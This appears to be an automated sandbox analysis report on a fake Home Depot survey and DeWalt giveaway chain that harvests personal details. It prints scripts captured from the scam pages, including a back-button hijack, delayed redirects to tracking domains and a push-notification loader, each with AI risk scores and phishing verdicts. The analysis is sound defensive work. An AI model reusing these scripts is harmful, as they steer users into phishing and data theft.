AJAX_PATH="ajax.php/"; app_config={"valid_class":"no-error","error_class":"has-error","loading_class":"loading","exit_popup_enabled":false,"exit_popup_element_id":"","exit_popup_page":"","offer_path":"\/new\/67234\/","current_step":1,"cbtoken":"2e663a2ce722f9beb8deebd73c4952c1","dev_mode":"N","show_validation_errors":"modal","allowed_tc":"8\"m0l0d0J050k050O0lv8sm\"l\"d1J152k253O3l484mvlsd\"J\"54k454O4l484m4l0dvJs5\"k[r0j0V0H0q0h0k0R0X\|Niraj,V4H1q2h2k3R3X4N4r\|jiVaH,q4h4k4R4X4N4r4j4V\|Hiqah]","allowed_country_codes":["US"],"countries":{"US":{"name":"United States","states":{"AL":{"name":"Alabama"},"AK":{"name":"Alaska"},"AS":{"name":"American Samoa"},"AZ":{"name":"Arizona"},"AR":{"name":"Arkansas"},"AE":{"name":"Armed Forces Middle East"},"AA":{"name":"Armed Forces Americas"},"AP":{"name":"Armed Forces Pacific"},"CA":{"name":"userfornia"},"CO":{"name":"Colorado"},"CT":{"name":"Connecticut"},"DE":{"name":"Delaware"},"DC":{"name":"District of Columbia"},"FM":{"name":"Federated States of Micronesia"},"FL":{"name":"Florida"},"GA":{"name":"Georgia"},"GU":{"name":"Guam"},"HI":{"name":"Hawaii"},"ID":{"name":"Idaho"},"IL":{"name":"Illinois"},"IN":{"name":"Indiana"},"IA":{"name":"Iowa"},"KS":{"name":"Kansas"},"KY":{"name":"Kentucky"},"LA":{"name":"Louisiana"},"ME":{"name":"Maine"},"MD":{"name":"Maryland"},"MA":{"name":"Massachusetts"},"MI":{"name":"Michigan"},"MN":{"name":"Minnesota"},"MS":{"name":"Mississippi"},"MO":{"name":"Missouri"},"MT":{"name":"Montana"},"NE":{"name":"Nebraska"},"NV":{"name":"Nevada"},"NH":{"name":"New Hampshire"},"NJ":{"name":"New Jersey"},"NM":{"name":"New Mexico"},"NY":{"name":"New York"},"NC":{"name":"North Carolina"},"ND":{"name":"North Dakota"},"MP":{"name":"Northern Mariana Islands"},"OH":{"name":"Ohio"},"OK":{"name":"Oklahoma"},"OR":{"name":"Oregon"},"PA":{"name":"Pennsylvania"},"PR":{"name":"Puerto Rico"},"MH":{"name":"Republic of Marshall Islands"},"RI":{"name":"Rhode Island"},"SC":{"name":"South Carolina"},"SD":{"name":"South Dakota"},"TN":{"name":"Tennessee"},"TX":{"name":"Texas"},"UT":{"name":"Utah"},"VT":{"name":"Vermont"},"VI":{"name":"Virgin Islands of the U.S."},"VA":{"name":"Virginia"},"WA":{"name":"Washington"},"WV":{"name":"West Virginia"},"WI":{"name":"Wisconsin"},"WY":{"name":"Wyoming"}}}},"country_lang_mapping":{"US":{"state":"State:","zip":"Zip Code:"},"GB":{"state":"County:","zip":"Postal Code:"},"CA":{"state":"Province:","zip":"Pin Code:"},"IN":{"state":"State:","zip":"Pin:"}},"device_is_mobile":false,"pageType":"leadPage","enable_browser_back_button":false,"disable_trialoffer_cardexp":false,"enable_csrf_token":false}
URL: http://vwi46h7.terraclicks.click/rd/4fRUWo26099tRC... Model: Joe Sandbox AI	{ "risk_score": 5, "reasoning": "The script appears to be performing a redirect based on a parameter in the URL, which could potentially be used for malicious purposes. While the intent is not immediately clear, the lack of transparency and the use of dynamic URL construction warrant further investigation." }
var tarcking_param = window.location.href.split('#')[1]; if(!tarcking_param){ document.location.href = document.location.href.replace("/rd/", "/t/"); }else{ document.location.href = '/t/'+tarcking_param; }
URL: https://duennasustentation.online/?encoded_value=2... Model: Joe Sandbox AI	{ "risk_score": 7, "reasoning": "The use of `document.write()` to execute a dynamic function call (`datenhay()`) is a high-risk indicator, as it can enable remote code execution. This behavior is considered a security vulnerability and should be investigated further." }
document.write(datenhay());
URL: https://duennasustentation.online/?encoded_value=2... Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "This script exhibits moderate-risk behaviors, including external data transmission to an untrusted domain and the use of obfuscated URLs. While the script appears to be related to a push notification or tracking functionality, the lack of transparency around the third-party domain and the obfuscation of the URL raise concerns that require further investigation." }
(function(document, window) { var script = document.createElement("script"); script.type = "text/javascript"; script.src = "https://trk-quantivex.com/scripts/push/script/64d5p99gj0?url=" + encodeURI(self.location.hostname); script.onload = function() { push_init(); push_subscribe(); }; document.getElementsByTagName("head")[0].appendChild(script); })(document, window);
URL: http://vwi46h7.terraclicks.click/t/4fRUWo26099tRCA... Model: Joe Sandbox AI	{ "risk_score": 7, "reasoning": "This script exhibits high-risk behavior by redirecting the user to an unknown and potentially malicious domain after a short delay. The use of obfuscated query parameters in the URL is also a concerning indicator. While the script does not directly execute dynamic code or exfiltrate sensitive data, the combination of the redirect and the suspicious domain raises significant security concerns." }
setTimeout(function(){ window.location.href = 'https://www.loadurl24.com/25SQ2G9N/7DFLXWR8/?sub1=9&sub2=461-26099&sub3=232-321477-571756'; console.log('redirecting to https://www.loadurl24.com/25SQ2G9N/7DFLXWR8/?sub1=9&sub2=461-26099&sub3=232-321477-571756'); }, 1000);
URL: https://duennasustentation.online/?encoded_value=2... Model: Joe Sandbox AI	{ "risk_score": 7, "reasoning": "This script demonstrates high-risk behavior by redirecting the user to an untrusted domain ('https://www.captureclickspath.com/cmp/2SFN28H/36LZDZ2/') without user consent. The use of `history.replaceState()` and `history.pushState()` to manipulate the browser's history and the `setTimeout()` function to trigger the redirect after a short delay are concerning. This script is likely attempting to perform a malicious redirect, which poses a significant risk to the user's security and privacy." }
(function (window, location) { var redirect = "https://www.captureclickspath.com/cmp/2SFN28H/36LZDZ2/" var currentUrl = location.origin + location.pathname + location.search; if (location.hash !== "#!/hst") { history.replaceState(null, document.title, currentUrl + "#!/hst"); history.pushState(null, document.title, currentUrl); } window.addEventListener("popstate", function () { if (location.hash === "#!/hst") { setTimeout(function () { window.location.replace(redirect); }, 0); } }, false); }(window, location));
URL: https://duennasustentation.online/?encoded_value=2... Model: Joe Sandbox AI	{ "risk_score": 4, "reasoning": "The script extracts various parameters from the URL query string and uses them to construct a new URL for redirection. This behavior is not inherently malicious, but the use of an encoded value and multiple sub-parameters raises some moderate concerns. Further investigation may be needed to determine the legitimacy of the destination domain and the purpose of the redirection." }
document.getElementById('button1').addEventListener("click",function(){ var urlParams = new URLSearchParams(window.location.search); var encodedValue = urlParams.get('encoded_value'); var source_id = urlParams.get('source_id'); var domain = urlParams.get('domain'); var sub1 = urlParams.get('sub1'); var sub2 = urlParams.get('sub2'); var sub3 = urlParams.get('sub3'); var sub4 = urlParams.get('sub4'); var sub5 = urlParams.get('sub5'); window.location.href="https://"+domain+"/cmp/"+encodedValue+"/3LHNZD/?source_id="+source_id+"&sub1="+sub1+"&sub2="+sub2+"&sub3="+sub3+"&sub4="+sub4+"&sub5="+sub5; },false);
URL: https://duennasustentation.online/?encoded_value=2... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The use of `document.write()` to dynamically insert content is considered a low-risk indicator, as it can be used for legitimate purposes like rendering dynamic content. However, the use of an unknown function `datehax()` is a moderate-risk indicator, as it could potentially execute arbitrary code. Overall, this script has a low to medium risk level and requires further investigation to determine the intent and safety of the `datehax()` function." }
document.write(datehax());
URL: https://www.chargeswiftpath.online/new/67234/?affI... Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": "The provided JavaScript snippet appears to be a simple countdown timer functionality, which is a common and benign use case. It does not exhibit any high-risk indicators, such as dynamic code execution, data exfiltration, or redirects to suspicious domains. The script is focused on updating the timer display on the page, which is a legitimate and expected behavior. Overall, this script poses a low risk and is likely part of a legitimate web application." }
(function () { const timer = document.getElementById('timer-container-12586003'); const seconds = document.getElementById('timer-12586003').dataset.gjsSfTimerSeconds \|\| 0; const endTime = Date.now() + (seconds * 1000); const refreshTimer = function () { if (!timer) { return; } const currentTime = Date.now(); const timeLeft = endTime - currentTime; if (timeLeft > 0) { const timeLeftInSeconds = Math.floor(timeLeft / 1000); const minutesLeft = Math.floor(timeLeftInSeconds / 60); const secondsLeft = timeLeftInSeconds % 60; const minutesText = minutesLeft < 10 ? ('0' + minutesLeft) : minutesLeft; const secondsText = secondsLeft < 10 ? ('0' + secondsLeft) : secondsLeft; timer.innerText = minutesText + ':' + secondsText; } else { timer.innerText = '00:00'; } }; refreshTimer(); setInterval(refreshTimer, 999); })()
URL: https://duennasustentation.online/?encoded_value=2... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "The use of `document.write()` to execute a function called `datenhax()` is a high-risk indicator, as it allows for dynamic code execution. This behavior is often associated with malicious scripts that can inject and execute arbitrary code on the page, posing a significant security risk." }
document.write(datenhax());
URL: https://duennasustentation.online/?encoded_value=223GDT1&sub1=e6bdf212e77945a1bdd4f5f45fcae0ae&sub2=&sub3=&sub4=&sub5=23272&source_id=20259&ip=8.46.123.189&domain=www.clicknloader.com Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Complete a quick survey for a chance to receive a DeWalt Drill!", "prominent_button_name": "START SURVEY", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": true, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://duennasustentation.online/?encoded_value=223GDT1&sub1=e6bdf212e77945a1bdd4f5f45fcae0ae&sub2=&sub3=&sub4=&sub5=23272&source_id=20259&ip=8.46.123.189&domain=www.clicknloader.com Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Quality tools and materials", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://duennasustentation.online/?encoded_value=223GDT1&sub1=e6bdf212e77945a1bdd4f5f45fcae0ae&sub2=&sub3=&sub4=&sub5=23272&source_id=20259&ip=8.46.123.189&domain=www.clicknloader.com Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "When you see an ad from The Home Depot, how likely are you to check out the featured items?", "prominent_button_name": "Very likely", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://duennasustentation.online/?encoded_value=223GDT1&sub1=e6bdf212e77945a1bdd4f5f45fcae0ae&sub2=&sub3=&sub4=&sub5=23272&source_id=20259&ip=8.46.123.189&domain=www.clicknloader.com Model: Joe Sandbox AI	{ "brands": [ "Home Depot" ] }
	{ "brands": [ "Home Depot" ] }
URL: https://duennasustentation.online/?encoded_value=223GDT1&sub1=e6bdf212e77945a1bdd4f5f45fcae0ae&sub2=&sub3=&sub4=&sub5=23272&source_id=20259&ip=8.46.123.189&domain=www.clicknloader.com Model: Joe Sandbox AI	{ "brands": [ "The Home Depot" ] }
	{ "brands": [ "The Home Depot" ] }
URL: https://duennasustentation.online/?encoded_value=223GDT1&sub1=e6bdf212e77945a1bdd4f5f45fcae0ae&sub2=&sub3=&sub4=&sub5=23272&source_id=20259&ip=8.46.123.189&domain=www.clicknloader.com Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Congratulations! You have been selected to win (1) DeWalt Drill!", "prominent_button_name": "Continue", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://duennasustentation.online/?encoded_value=223GDT1&sub1=e6bdf212e77945a1bdd4f5f45fcae0ae&sub2=&sub3=&sub4=&sub5=23272&source_id=20259&ip=8.46.123.189&domain=www.clicknloader.com Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Limited-Time Opportunity to Access Exclusive Rewards", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://duennasustentation.online/?encoded_value=223GDT1&sub1=e6bdf212e77945a1bdd4f5f45fcae0ae&sub2=&sub3=&sub4=&sub5=23272&source_id=20259&ip=8.46.123.189&domain=www.clicknloader.com Model: Joe Sandbox AI	{ "brands": [ "The Home Depot" ] }
	{ "brands": [ "The Home Depot" ] }
URL: https://duennasustentation.online/?encoded_value=223GDT1&sub1=e6bdf212e77945a1bdd4f5f45fcae0ae&sub2=&sub3=&sub4=&sub5=23272&source_id=20259&ip=8.46.123.189&domain=www.clicknloader.com Model: Joe Sandbox AI	{ "brands": [ "The Home Depot" ] }
	{ "brands": [ "The Home Depot" ] }
URL: https://duennasustentation.online/?encoded_value=223GDT1&sub1=e6bdf212e77945a1bdd4f5f45fcae0ae&sub2=&sub3=&sub4=&sub5=23272&source_id=20259&ip=8.46.123.189&domain=www.clicknloader.com Model: Joe Sandbox AI	{ "brands": [ "The Home Depot" ] }
	{ "brands": [ "The Home Depot" ] }
URL: https://www.chargeswiftpath.online/new/67234/?affId=10&c1=1168&c2=20259&c3=6f473a6e83ea434a9eb5d559373bb682&c4=&c5=dwltdrill&click_id=44e1e54b83a9446eb873351aeb3c2f9a Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Attention, this offer expires in: 04:28", "prominent_button_name": "CONTINUE", "text_input_field_labels": [ "First Name", "Last Name", "Email Address", "Phone Number", "Address", "City", "Select State", "Zip code" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": true, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://www.chargeswiftpath.online/new/67234/?affId=10&c1=1168&c2=20259&c3=6f473a6e83ea434a9eb5d559373bb682&c4=&c5=dwltdrill&click_id=44e1e54b83a9446eb873351aeb3c2f9a Model: Joe Sandbox AI	{ "brands": [ "DeWALT" ] }
	{ "brands": [ "DeWALT" ] }
URL: https://www.chargeswiftpath.online/new/67234/?affId=10&c1=1168&c2=20259&c3=6f473a6e83ea434a9eb5d559373bb682&c4=&c5=dwltdrill&click_id=44e1e54b83a9446eb873351aeb3c2f9a Model: Joe Sandbox AI	```json{ "legit_domain": "dewalt.com", "classification": "wellknown", "reasons": [ "DeWALT is a well-known brand associated with power tools and equipment.", "The legitimate domain for DeWALT is dewalt.com.", "The URL 'www.chargeswiftpath.online' does not match the legitimate domain for DeWALT.", "The domain 'chargeswiftpath.online' is unrelated to DeWALT and appears suspicious.", "The use of a generic and unrelated domain name is a common phishing tactic.", "The presence of input fields for personal information increases the risk of phishing." ], "riskscore": 9} Google indexed: False
URL: www.chargeswiftpath.online Brands: DeWALT Input Fields: First Name, Last Name, Email Address, Phone Number, Address, City, Select State, Zip code
URL: https://www.chargeswiftpath.online/new/67234/?affId=10&c1=1168&c2=20259&c3=6f473a6e83ea434a9eb5d559373bb682&c4=&c5=dwltdrill&click_id=44e1e54b83a9446eb873351aeb3c2f9a Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Attention, this offer expires in: 04:23", "prominent_button_name": "CONTINUE", "text_input_field_labels": [ "First Name", "Last Name", "Email Address", "Phone Number", "Address", "City", "Select State", "Zip code" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": true, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://www.chargeswiftpath.online/new/67234/?affId=10&c1=1168&c2=20259&c3=6f473a6e83ea434a9eb5d559373bb682&c4=&c5=dwltdrill&click_id=44e1e54b83a9446eb873351aeb3c2f9a Model: Joe Sandbox AI	{ "brands": [ "DeWALT" ] }
	{ "brands": [ "DeWALT" ] }
URL: https://www.chargeswiftpath.online/new/67234/?affId=10&c1=1168&c2=20259&c3=6f473a6e83ea434a9eb5d559373bb682&c4=&c5=dwltdrill&click_id=44e1e54b83a9446eb873351aeb3c2f9a Model: Joe Sandbox AI	```json{ "legit_domain": "www.dewalt.com", "classification": "wellknown", "reasons": [ "DeWALT is a well-known brand associated with power tools and equipment.", "The legitimate domain for DeWALT is typically 'dewalt.com'.", "The URL 'www.chargeswiftpath.online' does not match the legitimate domain for DeWALT.", "The domain 'chargeswiftpath.online' is unusual and not associated with DeWALT.", "The use of a generic domain extension '.online' and an unrelated domain name is suspicious.", "The presence of input fields for personal information increases the risk of phishing." ], "riskscore": 9} Google indexed: False
URL: www.chargeswiftpath.online Brands: DeWALT Input Fields: First Name, Last Name, Email Address, Phone Number, Address, City, Select State, Zip code
URL: https://www.chargeswiftpath.online/new/67234/?affId=10&c1=1168&c2=20259&c3=6f473a6e83ea434a9eb5d559373bb682&c4=&c5=dwltdrill&click_id=44e1e54b83a9446eb873351aeb3c2f9a Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Attention, this offer expires in: 04:19", "prominent_button_name": "CONTINUE", "text_input_field_labels": [ "First Name", "Last Name", "Email Address", "Phone Number", "Address", "City", "Select State", "Zip code" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": true, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://www.chargeswiftpath.online/new/67234/?affId=10&c1=1168&c2=20259&c3=6f473a6e83ea434a9eb5d559373bb682&c4=&c5=dwltdrill&click_id=44e1e54b83a9446eb873351aeb3c2f9a Model: Joe Sandbox AI	{ "brands": [ "DeWALT" ] }
	{ "brands": [ "DeWALT" ] }
URL: https://www.chargeswiftpath.online/new/67234/?affId=10&c1=1168&c2=20259&c3=6f473a6e83ea434a9eb5d559373bb682&c4=&c5=dwltdrill&click_id=44e1e54b83a9446eb873351aeb3c2f9a Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Attention, this offer expires in: 03:59", "prominent_button_name": "CONTINUE", "text_input_field_labels": [ "First Name", "Last Name", "Email Address", "Phone Number", "Address", "City", "Select State", "Zip code" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": true, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://www.chargeswiftpath.online/new/67234/?affId=10&c1=1168&c2=20259&c3=6f473a6e83ea434a9eb5d559373bb682&c4=&c5=dwltdrill&click_id=44e1e54b83a9446eb873351aeb3c2f9a Model: Joe Sandbox AI	{ "brands": [ "DeWALT" ] }
	{ "brands": [ "DeWALT" ] }

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Jan 8 13:44:22 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.987236423442977
Encrypted:	false
SSDEEP:	48:8XOd+T6OWHdidAKZdA1FehwiZUklqehGy+3:8//ody
MD5:	231606D8E2D280F4774BC89305254A4E
SHA1:	4E0B4613C86311E9341B6534EC92476E473BCFD8
SHA-256:	D883B2BDA18D41811B3865EF146DE55CDE32C4413DF121BC838B16E3FD07A200
SHA-512:	C617443B820D91300431F4935155B69DF4950DACA3448C9B1D625AD24FA8BC3A60BF39491A1B70C7C752DEE01437815F706978F6A522AC3F38D481B5C1E23012
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....Y...a..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I(Z.u....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V(Z.u....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V(Z.u....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V(Z.u..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V(Z.u...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........9.X.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Jan 8 13:44:22 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	4.005276577122567
Encrypted:	false
SSDEEP:	48:8ROd+T6OWHdidAKZdA1seh/iZUkAQkqehNy+2:8Z/e9QQy
MD5:	487C9020CE47443A9C7AF857BD155A16
SHA1:	2A7E80B520DB88C032F957EA20DC2FEC3BA037A1
SHA-256:	698AD169732E8106A5AE156EEB13EBF6CE398459F0D7EDD5B747C1BC47CA8CE0
SHA-512:	A1D8A6A4E6DE54CEDCA010171D1E8330CCABCAEB3C02D007D4F6AACFDA74DAC6A1B4385F6A550560A321226D8528F450B955DC1ADEA36E5297570AD062E5C27A
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,........a..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I(Z.u....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V(Z.u....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V(Z.u....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V(Z.u..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V(Z.u...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........9.X.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:05:01 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	4.012890927974524
Encrypted:	false
SSDEEP:	48:8vOd+T6OAHdidAKZdA14meh7sFiZUkmgqeh7sHy+BX:83/8nxy
MD5:	5B73B4376EA49222DF9235F683299BB7
SHA1:	5E033FB3562C568CDA58A46F4DDE292768467D43
SHA-256:	701B49F99145AB7FD3B5ABCC44FC51A4E369C8A2CA74AAD13293A718F46AD5E4
SHA-512:	41485AE059B4186175D3A79A076018E0EBE8490AA218EA1EC520DC1EA84E03C1F93308F6B240A61196C50F5749B96910CD40DF9D24BAEEE22220C700F0B94CAA
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....Y.04...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I(Z.u....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V(Z.u....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V(Z.u....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V(Z.u..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFW.E...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........9.X.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Jan 8 13:44:22 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	4.001762779964081
Encrypted:	false
SSDEEP:	48:85Od+T6OWHdidAKZdA1TehDiZUkwqehJy+R:8B/Vfy
MD5:	4C0E89991E4E2BF0C16429D07D7B848B
SHA1:	94C1172000CD92A278DCE67903B3D3CD6420622F
SHA-256:	5F812D145C35E3E898CC4614EBA69C26CA1743DC0F4300E2377DF94F204A3E24
SHA-512:	38CB64C6D291C4FE429678CC0C37D070F3C6363AE4040B4C96E5E6B82108184636877FB6C1462DE8352C3035C4846EF4328BEF420B88765C04B719AAC3733D65
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....J...a..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I(Z.u....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V(Z.u....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V(Z.u....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V(Z.u..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V(Z.u...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........9.X.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Jan 8 13:44:22 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9917851409978895
Encrypted:	false
SSDEEP:	48:8rOd+T6OWHdidAKZdA1dehBiZUk1W1qehLy+C:8T/l9ry
MD5:	C2CDF8E84C46E2AD3B0FC4AAF06EF4C6
SHA1:	C3E680E852C4277F31C990917168263CC872F852
SHA-256:	2D333241082FF58A4E8FEE31865865CB154C543CE4168E387058CD6FFA6D695B
SHA-512:	C25F9DD0CB2028DA9BB6546AB9F638C89198E92F7FA5A3216467D4B64B10EE75A603675332193CC6FB555B97683A95CE760B643EB7A8AF38A33724FF3F01E7A9
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,........a..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I(Z.u....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V(Z.u....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V(Z.u....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V(Z.u..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V(Z.u...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........9.X.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. 